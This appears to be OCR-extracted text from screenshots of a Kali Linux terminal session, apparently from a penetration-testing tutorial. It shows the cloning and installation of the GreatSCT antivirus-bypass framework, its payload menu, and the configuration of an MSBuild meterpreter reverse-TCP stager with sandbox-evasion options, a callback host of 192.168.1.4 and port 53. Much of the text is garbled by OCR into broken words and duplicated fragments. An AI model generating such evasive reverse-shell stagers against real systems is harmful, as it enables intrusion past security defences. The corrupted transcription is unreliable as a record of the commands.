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I root :~# git clone https://github.com/GreatSCT/GreatSCT.git

2 Cloning into 'GreatSCT'

3 remote: Enumerating objects: 727, done

| remote: Total 727 (delta © reused @ (delta © pack-reused 727
5 Receiving objects: 100% (727/727), 10.64 MiB | 572.00 KiB/s, done
6 Resolving deltas: 100% (384/384 done

rootgJohn: —# git clone https:
Cloning into 'GreatSCT',
remote: Enumerating uh]PctJ: 727, done.

rF-mll‘tF- Tll‘t;ﬂ T27 0 M, re d 2 {delta 0}, pack-reus 2
7 10.64 MiB | 572.00 Ki done,
. done.
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rootgJohn: —+# cd hrpjt_
ruutu]uhn £ :

CHAMGELD i gk . i CEMS EADME., ROADMAF, md
ruutu]uhn

rootigJohn

Debug: userhomedir
Debug: rootdir
Debug: 5
Debug: use

Debug:

Debug:

Debug:

[I] Kali Linux "2817.1" x86 64 detected...
[*] Initializing package installation

[#*] Installing dependencies

[*] Adding x86 architecture to x86 64 system for Wine

Great Scott!

GreatScT-Bypass Menu
26 payloads loaded
Available Commands:

back

checkyt

clean

exit ¥ ;

info InTurmjtlun an oa s
list List available
use 1f1

GreatSCT-Bypass command: [

setup Tools




[*] Available Payloads:

1) 1n tallutil /me
=)

=)

_tep.py
FErshe crlpt ¥
hF-Hr_m:IF- 1r|1F-r_ f

GreatSCT-Bypass command: [

Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHa

Payload information:

Name: Pure MSBuild C# Reverse TCP Stager
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Language: msbuild

Rating: Excellent

Description: pure windows/meterpreter/reverse_tcp stager, no

shellcode

Payload: msbuild/meterpreter/rev_tcp selected

Required Options:

Name Value Description

DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Virtual Virtual or Heap

LHOST IP of the Metasploit handler

LPORT 4444 Port of the Metasploit handler

PROCESSORS X Optional: Minimum number of processors

SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account

Available Commands:

back Go back

exit Completely exit GreatSCT
generate Generate the payload
options Show the shellcode's options

set Set shellcode option

[msbuild/meterpreter/rev_tcp>>] set LHOST 192.168.1.4

[msbuild/meterpreter/rev_tcp>>] set LPORT 53
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